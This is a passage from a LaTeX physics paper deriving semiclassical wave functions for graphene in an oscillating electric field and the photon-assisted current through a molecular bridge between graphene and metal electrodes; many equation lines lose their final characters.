The corresponding Hamiltonian is
\begin{equation}
\hat{H}_{junction}=\hat{H}_{wire}+\hat{H}_{leads}+\hat{V} \label{eq:H^
\end{equation}
where the wire Hamiltonian is $\hat{H}_{wire}=\varepsilon_{m}\hat{c}_{m
^{\dag}\hat{c}_{m}$, $\hat{c}_{m}^{\dag}$ ($\hat{c}_{m}$) are creation
(annihilation) operators for electrons at the molecular wire. The
molecule-leads interaction $\hat{V}$ describes electron transfer between the
molecular bridge and the right ($R$) and left ($L$) leads that gives rise to
net current in the biased junction
\begin{equation}
\hat{V}=\sum_{+,-}\sum_{\sigma,\mathbf{p}\in\{L,R\}}(V_{\mathbf{p\pm,
\sigma;m}\hat{a}_{\mathbf{p\pm,}\sigma}^{\dag}\hat{c}_{m}+H.c.)
\label{eq:V_M1
\end{equation}
Here $H.c.$ denotes Hermitian conjugate, $\hat{a}_{\mathbf{p\pm,}\sigma
^{\dag}$ are creation operators for graphene electrodes (see below). The
corresponding contribution to $\hat{V}$ from a metal electrode does not
contain summation with respect to positive and negative energies ($\pm$) and
quasispin index $\sigma$.
\section{Calculation of Semiclassical Wave Function}
The states of electrons in graphene are conveniently described by the
four-component wave functions, defined on two sublattices and two valleys.
Electron motion in the time-dependent EM field is described by the 2D Dirac
equation \cite{Novoselov09RMP,Efetov08PRB}
\begin{equation}
i\hbar\frac{\partial\mathbf{\psi}}{\partial t}=[v\mathbf{\hat{\sigma
}(\mathbf{\hat{p}}-\frac{e}{c}\mathbf{A})+e\varphi_{pot}]\mathbf{\psi}
\label{eq:psi_EFa
\end{equation}
written for a single valley and for a certain direction of spin. Here
$\mathbf{\hat{p}}$ is the momentum of the quasiparticle, $v$ - the Fermi
velocity ($v\approx10^{6}$ m/s), $\mathbf{\hat{\sigma}}$ - the vector of the
Pauli matrices in the sublattice space (\textquotedblleft
pseudospin\textquotedblright\ space), $\mathbf{A}$ and $\varphi_{pot}$ are
vector and scalar potentials of an EM field, respectively. Suppose a graphene
film is excited by a linearly polarized monochromatic electric field
$E_{x}(t)=E_{0}\cos\omega t$ that is parallel to its plane ($x,y$). Then
$A_{x}=-(c/\omega)E_{0}\sin\omega t$, $A_{y}=A_{z}=0$. Eq.(\ref{eq:psi_EFa})
can be brought to more symmetric form $i[\hat{P}-(e/c)\hat{A}]\mathbf{\psi
=}0,$ introducing matrices $\gamma_{1}=\hat{\sigma}_{y},\gamma_{2
=-\hat{\sigma}_{x}$ and $\gamma_{3}=\hat{\sigma}_{z}$, wher
\begin{equation}
\hat{P}=-i\hba
{\displaystyle\sum\limits_{k=1}^{3}}
\gamma_{k}\frac{\partial}{\partial x_{k}},\text{ }\hat{A}
{\displaystyle\sum\limits_{k=1}^{3}}
\gamma_{k}A_{x_{k}}, \label{eq:A^
\end{equation}
$x_{1}=x$, $x_{2}=y$, $x_{3}=ivt$ and $A_{x_{3}}=i\frac{c}{v}\varphi_{pot}$.
To obtain a semiclassical solution of Eq.(\ref{eq:psi_EFa}), we shall use a
method of Ref. \cite{Pauli32} (see also \cite{akhiezer-berestetskii69}). Let
us put $\mathbf{\psi}=-i(\hat{P}-\frac{e}{c}\hat{A})\Phi$. Then one can obtain
the following equation for $\Phi
\begin{equation}
\lbrack i\frac{\hbar e}{2c
{\displaystyle\sum\limits_{k,l=1}^{3}}
\gamma_{k}\gamma_{l}(1-\delta_{kl})F_{x_{l}x_{k}}
{\displaystyle\sum\limits_{k=1\ }^{3}}
(\hbar\frac{\partial}{\partial x_{k}}-i\frac{e}{c}A_{x_{k}})^{2}]\Phi=0
\label{eq:Fi_final
\end{equation}
where $F_{x_{l}x_{k}}=\partial A_{x_{l}}/\partial x_{k}-\partial A_{x_{k
}/\partial x_{l}$ is the field tensor. Let us seek a solution of
Eq.(\ref{eq:Fi_final}) as an expansion in power series in $\hbar$
\begin{equation}
\mathbf{\Phi=}\exp(iS/\hbar)w=\exp(iS/\hbar)(w_{0}+\hbar w_{1}+\hbar^{2
w_{2}+...) \label{eq:Fi_expansion
\end{equation}
where $S$ is a scalar and $w$ is a slowly varying spinor
\cite{berestetskii-lifshitz99}. Substituting series, Eq.(\ref{eq:Fi_expansion
), into Eq.(\ref{eq:Fi_final}) and collecting coefficients at the equal
exponents of $\hbar$, we get that $S$ is the action obeying the
Hamilton-Jacobi equation $\partial S/\partial t=-H$ where $H$ is the classical
Hamilton function of a particle
\begin{equation}
\exp(\frac{i}{\hbar}S)=\exp[-\frac{i}{\hbar}(v\int_{0}^{t}\sqrt{\bar{p
_{x}^{2}+\bar{p}_{y}^{2}}dt^{\prime}+e\int_{0}^{t}\varphi_{pot}dt^{\prime})],
\label{eq:exp(i/hS)
\end{equation}
and the equation for spinor $w_{0}$\begin{widetext}
\begin{eqnarray}
{\displaystyle\sum\limits_{k=1\ }^{3}}
\{[\frac{\partial}{\partial x_{k}}(\frac{\partial S}{\partial x_{k}}-\frac
{e}{c}A_{x_{k}})]w_{0}+2(\frac{\partial S}{\partial x_{k}}-\frac{e}{c
A_{x_{k}})\frac{\partial w_{0}}{\partial x_{k}}-\frac{e}{2c
{\displaystyle\sum\limits_{l=1}^{3}}
\gamma_{k}\gamma_{l}(1-\delta_{kl})F_{x_{l}x_{k}}w_{0
\}=0\label{eq:w_0_spinor3
\end{eqnarray}
\end{widetext}In Eq.(\ref{eq:exp(i/hS)}), $\mathbf{\bar{p}}$ is the normal
momentum that obeys the classical equations of motion $d\bar{p}_{x
/dt=-eE_{x}(t)$ for a particle with charge $-e$, according to which $\bar
{p}_{x}(t)=-(eE_{0}/\omega)\sin(\omega t)$; $\mathbf{\bar{p}=p}-\frac{e
{c}\mathbf{A}$ where $\mathbf{p}$ is the generalized momentum. If one takes
only the first term in series, Eq.(\ref{eq:Fi_expansion}), into account, it
can be shown that wave packets behave like particles moving along classical trajectories.
Let us solve Eq.(\ref{eq:w_0_spinor3}) for spinor $w_{0}$. We shall introduce
a linear combination of the components of the Hermitian conjugated wave
function $\mathbf{\psi}^{\dag}$ by $\mathbf{\bar{\psi}}=\mathbf{\psi}^{\dag
}\gamma_{3}$ \cite{akhiezer-berestetskii69}. Then using equation
$\mathbf{\psi}=-i(\hat{P}-\frac{e}{c}\hat{A})\Phi$ and Eqs.(\ref{eq:A^}), one
can show that electronic flux $s_{k}=i\mathbf{\bar{\psi}}\gamma_{k
\mathbf{\psi}$ obeys the continuity equatio
\begin{equation
{\displaystyle\sum\limits_{k=1}^{3}}
\frac{\partial}{\partial x_{k}}s_{k}=0 \label{eq:cont_eq
\end{equation}
Put
\begin{equation}
w_{0}=\sqrt{\xi}\varphi_{0} \label{eq:w_0
\end{equation}
where we denoted
\begin{equation}
\xi=-i2\bar{w}_{0}\hat{\pi}w_{0
\end{equation}
and $\hat{\pi}
{\displaystyle\sum\limits_{k=1}^{3}}
\gamma_{k}\pi_{k}$, $\pi_{k}=\partial S/\partial x_{k}-(e/c)A_{x_{k}}$. Then
in our approximation the electronic flux is reduced to $s_{k}=\pi_{k}\xi$ that
gives, bearing in mind Eq.(\ref{eq:cont_eq})
\begin{equation
{\displaystyle\sum\limits_{k=1}^{3}}
\frac{\partial}{\partial x_{k}}(\pi_{k}\xi)=0 \label{eq:cont_eq_SC
\end{equation}
Here quantities $\pi_{k}$ can be written as $\pi_{k}=\bar{p}_{k},$ $k=1,2$ and
$\pi_{3}=\pm i\bar{p}$ with the aid of the Hamilton-Jacobi equation $\partial
S/\partial t=-H$ and $\partial S/\partial x_{k}=p_{k},$ $k=1,2$. Here signs
plus and minus are related to positive and negative energies, respectively.
Eq.(\ref{eq:cont_eq_SC}) can be write over a
\begin{equation
{\displaystyle\sum\limits_{k=1\ }^{3}}
(\frac{\partial\pi_{k}}{\partial x_{k}}\xi+\pi_{k}\frac{\partial\xi}{\partial
x_{k}})=0 \label{eq:cont_eq_SC2
\end{equation}
Using Hamilton's equations $\dot{x}_{k}=\partial H/\partial p_{k},$ $k=1,2,$
the time derivative $\dot{x}_{k}$ can be written a
\begin{equation}
\dot{x}_{k}=\pm v\frac{\bar{p}_{k}}{\bar{p}}=iv\frac{\pi_{k}}{\pi_{3}},\text{
}k=1,2 \label{eq:x_k2
\end{equation}
This enables us to write down the second term on the right-hand side of
Eq.(\ref{eq:cont_eq_SC2}) in the for
\
{\displaystyle\sum\limits_{k=1\ }^{3}}
\pi_{k}\frac{\partial\xi}{\partial x_{k}}=-\frac{i\pi_{3}}{v}
{\displaystyle\sum\limits_{k=1\ }^{2}}
\frac{\partial\xi}{\partial x_{k}}\frac{dx_{k}}{dt}+\frac{\partial\xi
}{\partial t}]=-\frac{i\pi_{3}}{v}\frac{d\xi}{dt
\]
and Eq.(\ref{eq:cont_eq_SC2}) become
\begin{equation}
\frac{d\xi}{dt}=-\frac{1}{\bar{p}}\frac{\partial\bar{p}}{\partial t
\xi\label{eq:ksi
\end{equation}
since $\partial\pi_{k}/\partial x_{k}=0$ for $k=1,2$. Integrating
Eq.(\ref{eq:ksi}), one get
\begin{equation}
\xi(t)=\xi(0)\frac{\bar{p}(0)}{\bar{p}(t)} \label{eq:ksi(t)
\end{equation}
where $\bar{p}(0)=p$. Furthermore, substituting Eq.(\ref{eq:w_0}) into
Eq.(\ref{eq:w_0_spinor3}), we obtain equation for spinor $\varphi_{0}=\left(
\begin{array}
[c]{c
\varphi_{01}\\
\varphi_{02
\end{array}
\right) $: $\frac{d\varphi_{0}}{dt}=\pm\frac{e}{2\bar{p}}\mathbf{\hat{\sigma
}E}\varphi_{0}$, the solution of which may be written a
\begin{align}
\varphi_{01,2} & =\frac{1}{2\sqrt{p\bar{p}(1+\cos\varphi)(1+\cos\bar
{\varphi})}}\{\varphi_{01,2}(0)[\bar{p}(1+\cos\bar{\varphi})+\nonumber\\
& +p(1+\cos\varphi)]\pm\varphi_{02,1}(0)[\bar{p}(1+\cos\bar{\varphi
})-p(1+\cos\varphi)]\} \label{eq:fi_01,2
\end{align}
The quantities $\xi(0)$ and $\varphi_{01,2}(0)$ in Eqs.(\ref{eq:ksi(t)}) and
(\ref{eq:fi_01,2}) are chosen in such a way that the wave function
$\mathbf{\psi}=\exp(\frac{i}{\hbar}S)(-i\hat{\pi})\sqrt{\xi}\varphi_{0}$
should be normalized and coincide with the wave function of unperturbated
graphene in the absence of external EM field \cite{Novoselov09RMP}. After
combersome calculations we get the wave function normalized for the graphene
sheet area $s$
\begin{align}
\psi & =\frac{1}{\sqrt{s}}\exp(ip_{x}x/\hbar+ip_{y}y/\hbar)\exp[\frac
{i}{\hbar}(\mp v\int_{0}^{t}\bar{p}dt^{\prime}-\nonumber\\
& -e\int_{0}^{t}\varphi_{pot}dt^{\prime})]\bar{u}_{\mathbf{p\pm}}
\label{eq:psi_norm2
\end{align}
where slowly varying spinors $\bar{u}_{\mathbf{p\pm}}$ are equal to
\begin{equation}
\bar{u}_{\mathbf{p\pm}}\mathbf{=}\frac{1}{\sqrt{2}}\left(
\begin{array}
[c]{c
\exp(-i\bar{\varphi}/2)\\
\pm\exp(i\bar{\varphi}/2)
\end{array}
\right) , \label{eq:u^-NG
\end{equation}
$\bar{p}\equiv\left\vert \mathbf{\bar{p}}(t)\right\vert $, $\tan\bar{\varphi
}=\bar{p}_{y}/\bar{p}_{x}$, $p_{x}=p\cos\varphi$, $p_{y}=p\sin\varphi$,
$\tan\varphi=p_{y}/p_{x}$.
Eqs.(\ref{eq:psi_norm2}) and (\ref{eq:u^-NG}) show remarkable and very simple
result, according to which the time-dependent part of the semiclassical wave
function is defined by the same formula as that for the unperturbated system
with the only difference that the generalized momentum $\mathbf{p}$ should be
replaced by the usual momentum $\mathbf{\bar{p}}$. The space-dependent part of
the wave function remains unchanged.
\subsection{Heisenberg Equations for the Second Quantization Operators of
Graphene\textit{ }}
The wave function of the graphene sheet interacting with molecular bridge
$\Psi$ may be represented as the superposition of wave functions,
Eqs.(\ref{eq:psi_norm2}) and (\ref{eq:u^-NG}). Passing to the second
quantization, we get
\begin{align}
\Psi & =\frac{1}{\sqrt{s}
{\displaystyle\sum\limits_{+,-}}
{\displaystyle\sum\limits_{\mathbf{p}}}
\hat{a}_{\mathbf{p\pm}}\exp[\frac{i}{\hbar}\mathbf{pr}+\frac{i}{\hbar}(\mp
v\int_{0}^{t}\bar{p}dt^{\prime}\nonumber\\
& -e\int_{0}^{t}\varphi_{pot}dt^{\prime})]\bar{u}_{\mathbf{p\pm}}
\label{eq:Psi2
\end{align}
where $\hat{a}_{\mathbf{p\pm}}$ are annihilation operators. To obtain the
Hamiltonian in the second quantization representation, consider an average
energy of a particle with wave function $\psi$ that is given by $\int
\psi^{\ast}\hat{H}\psi d\mathbf{r=}i\hbar\int\psi^{\ast}(\partial\psi/\partial
t)d\mathbf{r}$. Replacing wave functions $\psi$ for $\Psi$ operators and
integrate with respect to $\mathbf{r}$, we ge
\begin{equation}
\hat{H}=\int\Psi^{\dag}\hat{H}\Psi d\mathbf{r}
{\displaystyle\sum\limits_{\mathbf{p\sigma}}}
{\displaystyle\sum\limits_{+,-}}
\hat{a}_{\mathbf{p\pm,}\sigma}^{\dag}\hat{a}_{\mathbf{p\pm,}\sigma}[\pm
v\bar{p}(t)+e\varphi_{pot}(t)] \label{eq:Hamiltonian_sc
\end{equation}
where $\sum_{\sigma}\hat{a}_{\mathbf{p\pm,}\sigma}^{\dag}\hat{a
_{\mathbf{p\pm,}\sigma}=\hat{a}_{\mathbf{p\pm}}^{\dag}\hat{a}_{\mathbf{p\pm
},$ $\sigma=1,2$ is the "quasispin" index. In deriving
Eq.(\ref{eq:Hamiltonian_sc}), we have taken into account that the main
contribution to $\partial\Psi/\partial t$ in the semiclassical approximation
is given by the exponential term on the right-hand side of Eq.(\ref{eq:Psi2})
(see Ref.\cite{landau-lifshitz.65}, chapter II). In addition, we beared in
mind that the summation over $\mathbf{p}$ can be substituted by the
integration over phase space $d\Gamma=d\mathbf{p}d\mathbf{r}
\begin{equation
{\displaystyle\sum\limits_{\mathbf{p}}}
\rightarrow\int\frac{d\Gamma}{(2\pi\hbar)^{2}}=\frac{s}{(2\pi\hbar)^{2}}\int
d\mathbf{p} \label{eq:sum_p_to_integral
\end{equation}
Using Hamiltonian, Eq.(\ref{eq:Hamiltonian_sc}), we obtain the Heisenberg
equations of motio
\begin{equation}
\frac{d\hat{a}_{\mathbf{p\pm,}\sigma}(t)}{dt}=\frac{i}{\hbar}[\hat{H},\hat
{a}_{\mathbf{p\pm,}\sigma}]\mathbf{\simeq}\frac{i}{\hbar}[\mp v\bar
{p}(t)-e\varphi_{pot}(t)]\hat{a}_{\mathbf{p\pm,}\sigma}(t) \label{eq:Heis
\end{equation}
\
\section{Formula for the Current}
The current from the $K$ lead ($K=L,R$) can be obtained by the generalization
of Eq.(12.11) of Ref.\cite{haug-jauho.96
\begin{equation}
I_{K}=-\frac{2\varkappa e}{\hbar}\operatorname{Re}\sum_{+,-}\sum
_{\sigma,\mathbf{p}\in K}V_{\mathbf{p\pm,}\sigma;m}G_{m;\mathbf{p\pm,}\sigma
}^{<}(t,t) \label{eq:I_K_GF
\end{equation}
where $\varkappa=1$ for the metal electrode, and $\varkappa=2$ for the
graphene electrode that accounts for the valley degeneracies of the
quasiparticle spectrum in graphene. $G_{m;\mathbf{p\pm,}\sigma}^{<
(t,t^{\prime})=i\langle\hat{a}_{\mathbf{p\pm,}\sigma}^{\dag}(t^{\prime
)\hat{c}_{m}(t)\rangle$ denotes the lesser GF that is given by
\begin{align}
G_{m;\mathbf{p\pm,}\sigma}^{<}(t,t^{\prime}) & =\frac{1}{\hbar}\int
dt_{1}V_{\mathbf{p\pm,}\sigma;m}^{\ast}[G_{mm}^{r}(t,t_{1})g_{\mathbf{p\pm
,}\sigma}^{<}(t_{1},t^{\prime})+\nonumber\\
& +G_{mm}^{<}(t,t_{1})g_{\mathbf{p\pm,}\sigma}^{a}(t_{1},t^{\prime})]
\label{eq:G<
\end{align}
where $G_{mm}^{r}(t,t_{1})$ and $G_{mm}^{<}(t,t_{1})$ are the retarded and
lesser wire GFs, respectively; $g_{\mathbf{p\pm,}\sigma}^{<}(t,t^{\prime
})=i\langle\hat{a}_{\mathbf{p\pm,}\sigma}^{\dag}(t^{\prime})\hat
{a}_{\mathbf{p\pm,}\sigma}(t)\rangle$ and $g_{\mathbf{p\pm,}\sigma}^{a
(t_{1},t^{\prime})=i\theta(t^{\prime}-t_{1})\langle\{\hat{a}_{\mathbf{p\pm
,}\sigma}(t_{1}),\hat{a}_{\mathbf{p\pm,}\sigma}^{\dag}(t^{\prime})\}\rangle$
are the lesser and advanced lead GFs, respectively; $\theta(t^{\prime}-t_{1})$
is the unit function. Using Eq.(\ref{eq:Heis}), we get
\begin{align}
g_{\mathbf{p\pm,}\sigma}^{<}(t,t^{\prime}) & =i\langle\hat{a}_{\mathbf{p\pm
,}\sigma}^{\dag}(t^{\prime})\hat{a}_{\mathbf{p\pm,}\sigma}(t)\rangle
=if^{K}(vp_{\pm})\times\nonumber\\
& \times\exp\{\frac{i}{\hbar}[-e\varphi_{pot,K}(t-t^{\prime})\mp
v\int_{t^{\prime}}^{t}dt^{\prime\prime}\bar{p}(t^{\prime\prime})]\}
\label{eq:g<2
\end{align}
an
\begin{align}
g_{\mathbf{p\pm,}\sigma}^{a}(t_{1},t^{\prime}) & =i\theta(t^{\prime
-t_{1})\exp\{\frac{i}{\hbar}[-e\varphi_{pot,K}(t_{1}-t^{\prime})\nonumber\\
& \mp v\int_{t^{\prime}}^{t_{1}}dt^{\prime\prime}\bar{p}(t^{\prime\prime})]\}
\label{eq:g^a(t1,t')
\end{align}
where $f^{K}(vp_{\pm})$ $\equiv\langle\hat{a}_{\mathbf{p\pm,}\sigma}^{\dag
}(0)\hat{a}_{\mathbf{p\pm,}\sigma}(0)\rangle=\left[ 1+\exp\left( \frac{\pm
vp-\mu_{K}}{k_{B}T}\right) \right] ^{-1}$ is the Fermi function and $\mu
_{K}$ - the chemical potential of lead $K$. Substituting Eqs.(\ref{eq:G<}),
(\ref{eq:g<2}) and (\ref{eq:g^a(t1,t')}) into Eq.(\ref{eq:I_K_GF}), and
converting the momentum summations to energy integration,
Eq.(\ref{eq:sum_p_to_integral}), we ge
\begin{align}
I_{K} & =\frac{4e}{\hbar}\int_{-\infty}^{t}dt_{1}\sum_{+,-}\operatorname{Im
\int_{0}^{\infty}\frac{d(vp)}{2\pi}\exp[\pm\frac{i}{\hbar}e\varphi
_{pot,K}(t-t_{1})]\times\nonumber\\
& \times\Gamma_{mm}^{K}(\pm vp,t_{1,}t)[G_{mm}^{r}(t,t_{1})f^{K}(\pm
vp)+G_{mm}^{<}(t,t_{1})] \label{eq:I_K_GF2
\end{align}
wher
\begin{align}
\Gamma_{mm}^{K}(\pm vp,t_{1,}t) & =\frac{2\pi}{\hbar}\left( \frac{s
{2\pi^{2}\hbar v^{2}}\right) \sum_{\sigma\in K}\int_{0}^{\pi}d\theta
vpV_{\mathbf{p\pm,}\sigma;m}(t)\times\nonumber\\
& \times V_{\mathbf{p\pm,}\sigma;m}^{\ast}(t_{1})\exp[\pm\frac{i}{\hbar
v\int_{t_{1}}^{t}dt^{\prime}\bar{p}(t^{\prime})] \label{eq:Gamma^K
\end{align}
is the level-width function.
To proceed, we shall make the time expansion of $\Gamma_{mm}^{K}(\pm
vp,t_{1,}t)$ into the Fourier series, and then use the Markovian
approximation, considering time $t-t_{1}\equiv\tau$ as very short. This will
also enable us to use the non-interacting resonant-level model
\cite{haug-jauho.96} for finding the time dependence of $G_{mm}^{r
(t,t-\tau)=-i\theta(\tau)\exp(-\frac{i}{\hbar}\varepsilon_{m}\tau)$ and
$G_{mm}^{<}(t,t-\tau)=in_{m}(t)\exp(-\frac{i}{\hbar}\varepsilon_{m}\tau)$ as
functions of $t$ and $t-\tau$ where $n_{m}(t)$ is the population of molecular
state $m$.
According to the Floquet theorem \cite{Kohler05}, the general solution of the
Schr\"{o}dinger equation for an electron subjected to a periodic perturbation,
takes the form $\psi(t)=\exp(-\frac{i}{\hbar}\varepsilon t)\Phi_{T}(t)$, where
$\Phi_{T}(t)$ is a periodic function having the same period $T$ as the
perturbation, and $\varepsilon$ is called quasienergy. Then the expansion of
function $\exp[\frac{i}{\hbar}v\int_{0}^{t}dt^{\prime}\bar{p}(t^{\prime})]$ on
the right-hand side of Eq.(\ref{eq:psi_norm2}) into the Fourier series will be
as followin
\begin{equation}
\exp[\frac{i}{\hbar}v\int_{0}^{t}dt^{\prime}\bar{p}(t^{\prime})]=\exp[\frac
{i}{\hbar}\varepsilon(p,\theta)t
{\displaystyle\sum\limits_{l=-\infty}^{\infty}}
c_{l}(p,\theta)\exp(ilt\omega) \label{eq:Fourier_expansion
\end{equation}
wher
\begin{equation}
c_{l}(p,\theta)=\frac{\omega}{2\pi}\int_{-\pi/\omega}^{\pi/\omega}\exp
[\frac{i}{\hbar}v\int_{0}^{t}dt^{\prime}\bar{p}(t^{\prime})-\frac{i}{\hbar
}\varepsilon(p,\theta)t-il\omega t]dt \label{eq:c_l(p,teta)
\end{equation}
Using expansion, Eq.(\ref{eq:Fourier_expansion}), into Eq.(\ref{eq:Gamma^K})
and neglecting fast oscillating with time $t$ terms, we ge
\begin{align}
\Gamma_{mm}^{K}(\pm vp,\tau) & =\frac{2\pi}{\hbar}\left( \frac{s}{2\pi
^{2}\hbar v^{2}}\right) \sum_{\sigma\in K}\int_{0}^{\pi}d\theta
vp|V_{\mathbf{p\pm,}\sigma;m}|^{2}\times\nonumber\\
& \time
{\displaystyle\sum\limits_{n=-\infty}^{\infty}}
|c_{n}(p,\theta)|^{2}\exp\{\pm i[\frac{\varepsilon(p,\theta)}{\hbar
+n\omega]\tau\} \label{eq:Gamma_mm^K
\end{align}
Then going to the integration with respect to $\tau$ in Eq.(\ref{eq:I_K_GF2})
and bearing in mind Eq.(\ref{eq:Gamma_mm^K}), we ge
\begin{align}
I_{K} & =4e\sum_{\sigma\in K}\int_{0}^{\pi}d\thet
{\displaystyle\sum\limits_{n=-\infty}^{\infty}}
[n_{m}(t)-f^{K}(vp_{n\pm})]\times\nonumber\\
& \times|c_{n}(p_{n\pm},\theta)|^{2}\bar{\gamma}_{G_{K}\sigma,m}^{(n)\pm}
\label{eq:I_Kgeneral2
\end{align}
where we denote
\begin{align}
\bar{\gamma}_{G_{K}\sigma,m}^{(n)\pm} & =\frac{s}{2\pi\hbar^{3}v^{2}
\int_{0}^{\infty}vpd(vp)|V_{\mathbf{p\pm,}\sigma;m}|^{2}\times\nonumber\\
& \times\delta\lbrack\pm(\varepsilon(p,\theta)+n\hbar\omega)+e\varphi
_{pot,K}-\varepsilon_{m}] \label{eq:general_gamma^(n)+-
\end{align}
is the spectral function for the $n$-th photonic replication, $\delta(x)$ is
the Dirac delta, arguments $p_{n\pm}$ are defined by equatio
\begin{equation}
\varepsilon_{\pm}(p,\theta)=\pm(\varepsilon_{m}-e\varphi_{pot,K})-n\hbar
\omega\label{eq:epsilon(p)
\end{equation}
and should be positive. Below we shall consider $V_{\mathbf{p\pm,}\sigma;m}$
not dependent on $\mathbf{p\pm}$ and quasispin $\sigma$.
\section{Molecular Bridge between Graphene and Metal Electrodes}
Consider a specific case when the molecular bridge is found between graphene
and metal (tip) electrodes (Fig.\ref{fig:photonic_replica}). In that case one
can use Eq.(\ref{eq:I_Kgeneral2}) for $K=L$:
\begin{align}
I_{L} & =4e\sum_{\sigma\in K
{\displaystyle\sum\limits_{n=-\infty}^{\infty}}
[n_{m}(t)-f^{L}(vp_{n\pm})]\times\nonumber\\
& \times\int_{0}^{\pi}d\theta|c_{n}(p_{n\pm},\theta)|^{2}\bar{\gamma
_{G_{L}\sigma,m}^{(n)\pm} \label{eq:I7e
\end{align}
If $R$ represents the metal electrode, the
\begin{equation}
I_{R}=2e\gamma_{Rm}[n_{m}(t)-f_{\mathbf{p}}^{R}] \label{eq:I_R1
\end{equation}
where $2\gamma_{Rm}$ is the charge transfer rate between the molecular bridge
and the metallic lead. In the case under consideration the equation
for\textit{ } $n_{m}(t)$ become
\begin{equation}
\frac{dn_{m}}{dt}=-I_{L}/e-I_{R}/e \label{eq:n_m6
\end{equation}
that is written as the continuity equation. Inserting Eqs.(\ref{eq:I7e}) and
(\ref{eq:I_R1}) into Eq.(\ref{eq:n_m6}), solving the latter for the
steady-state regime and substituting the solution into Eq. (\ref{eq:I_R1}) for
current $I_{R}$, we ge
\begin{equation}
I_{R}=2e\gamma_{Rm}\frac{\sum_{\sigma
{\displaystyle\sum\limits_{n=-\infty}^{\infty}}
\bar{\gamma}_{G_{L}\sigma,m}^{(n)\pm}\int_{0}^{\pi}d\theta|c_{n}(p_{n\pm
},\theta)|^{2}[f^{L}(vp_{n\pm})-f_{\mathbf{p}}^{R}]}{\sum_{\sigma
{\displaystyle\sum\limits_{n=-\infty}^{\infty}}
\bar{\gamma}_{G_{L}\sigma,m}^{(n)\pm}\int_{0}^{\pi}d\theta|c_{n}(p_{n\pm
},\theta)|^{2}+\gamma_{Rm}/2} \label{eq:I_R2
\end{equation}
For a special cas
\[
\gamma_{Rm}/2>>\sum_{\sigma
{\displaystyle\sum\limits_{n=-\infty}^{\infty}}
\bar{\gamma}_{G_{L}\sigma,m}^{(n)\pm}\int_{0}^{\pi}d\theta|c_{n}(p_{n\pm
},\theta)|^{2
\]
we obtain
\begin{equation}
I_{R}=4e\sum_{\sigma
{\displaystyle\sum\limits_{n=-\infty}^{\infty}}
\int_{0}^{\pi}d\theta|c_{n}(p_{n\pm},\theta)|^{2}\bar{\gamma}_{G_{L}\sigma
,m}^{(n)\pm}[f^{L}(vp_{n\pm})-f_{\mathbf{p}}^{R}] \label{eq:I_R_special
\end{equation}
Eq.(\ref{eq:I_R_special}) seems similar to that of Tien and Gordon,
Eq.(\ref{eq:TG}), and generalizes it. To calculate current, we shall use a
variety of approaches.
\subsection{Calculations using Cumulant Expansions}
Function $\exp[\frac{i}{\hbar}v\int_{0}^{t}dt^{\prime}\bar{p}(t^{\prime})]$
may be written in the dimensionless form a
\[
\exp(i\frac{\alpha}{b}\int_{0}^{y}dx\sqrt{1+2b\cos\theta\sin x+b^{2}\sin^{2
x})
\]
where $b\equiv(eE_{0}v/\omega)/(vp)$ and $\alpha=(eE_{0}v/\omega)/(\hbar
\omega)$ represent the work done by the electric field during one fourth of
period weighted per unperturbated energy $vp$ and photon energy $\hbar\omega$,
respectively; $y=\omega t$, and we assume $eE_{0}>0$. If $b<1$, one can use
the cumulant expansion, and we ge
\begin{align}
& \exp[i\frac{\alpha}{b}\int_{0}^{y}dx\sqrt{1+2b\cos\theta\sin x+b^{2
\sin^{2}x}]\nonumber\\
& =\exp[G_{1}(y)+G_{2}(y)]
\end{align}
where correct to fourth order with respect to $b$
\begin{align}
G_{1}(y) & =i\alpha\cos\theta(1-\frac{b^{2}}{3}\sin^{2}\theta)+i\frac
{\alpha}{b}[1+\frac{b^{2}}{4}\sin^{2}\theta-\nonumber\\
& -\frac{3b^{4}}{64}\sin^{2}\theta(1-5\cos^{2}\theta)]y, \label{eq:G_1alpha
\end{align}
\begin{equation}
G_{2}(\tau)=iz_{1}\cos y+iz_{2}\sin2y+iz_{3}\cos3y+iz_{4}\sin4y
\label{eq:G_2z
\end{equation}
Here parameters $z_{l}\sim b^{l-1}$ are defined by $z_{1}=\alpha\cos
\theta\lbrack-1+(3/8)b^{2}\sin^{2}\theta],$ $z_{2}=(\alpha b/8)\sin^{2
\theta\lbrack-1+(b^{2}/4)(1-5\cos^{2}\theta)],$ $z_{3}=-(\alpha b^{2
/48)\sin2\theta\sin\theta$ and $z_{4}=-(\alpha b^{3}/256)\sin^{2
\theta(1-5\cos^{2}\theta)$.
As a matter of fact, the second term on the right-hand side of
Eq.(\ref{eq:G_1alpha}) that is proportional to $\tau$ describes the
quasienergy weight per photon energ
\begin{equation}
\varepsilon(p,\theta)/(\hbar\omega)=\frac{\alpha}{b}[1+\frac{b^{2}}{4}\sin
^{2}\theta-\frac{3b^{4}}{64}\sin^{2}\theta(1-5\cos^{2}\theta)]
\end{equation}
that is anisotropic: $\varepsilon(p,\theta)=vp$ when the momentum is parallel
to electric field ($\theta=0$ or $\pi$), and is most different from $vp$ when
the momentum is perpendicular to the electric field ($\theta=\pi/2$). The term
$\exp[G_{2}(y)]$ can be expanded in terms of the Bessel functions $J_{s
(z_{i})$ as \cite{Abr64
\begin{align}
\exp(iz_{2n}\sin2ny) & =\sum_{s=-\infty}^{\infty}J_{s}(z_{2n})\exp
(i2sny),\nonumber\\
\exp[iz_{2n-1}\cos((2n-1)y)] & =\sum_{s=-\infty}^{\infty}J_{s
(z_{2n-1})\times\label{eq:expansion1}\\
& \times\exp[is\frac{\pi}{2}+is(2n-1)y]\nonumber
\end{align}
where $n=1,2$. This gives expansion
\begin{align}
& \left\vert c_{l}(p,\theta)\right\vert ^{2}\nonumber\\
& =[\sum_{s_{2}s_{3}s_{4}}J_{l-2s_{2}-3s_{3}-4s_{4}}(z_{1})J_{-s_{2}
(z_{2})J_{-s_{3}}(z_{3})J_{s_{4}}(z_{4})]^{2} \label{eq:expansionBessel
\end{align}
for quantities $\left\vert c_{l}(p,\theta)\right\vert ^{2}$,
Eq.(\ref{eq:c_l(p,teta)}), that converge fast.
For a linear case (weak fields) $\left\vert c_{0}(p,\theta)\right\vert
^{2}\approx1$, $\left\vert c_{\pm1}(p,\theta)\right\vert ^{2}\approx
(\alpha\cos\theta)^{2}/4$, $\varepsilon(p,\theta)\approx vp$, and we get from
Eq.(\ref{eq:epsilon(p)}): $vp_{n\pm}=\pm(\varepsilon_{m}-e\varphi
_{pot,K})-n\hbar\omega$. In that case quantities $\bar{\gamma}_{G_{L}\sigma
,m}^{(n)\pm}$, Eq.(\ref{eq:general_gamma^(n)+-}), becom
\begin{equation}
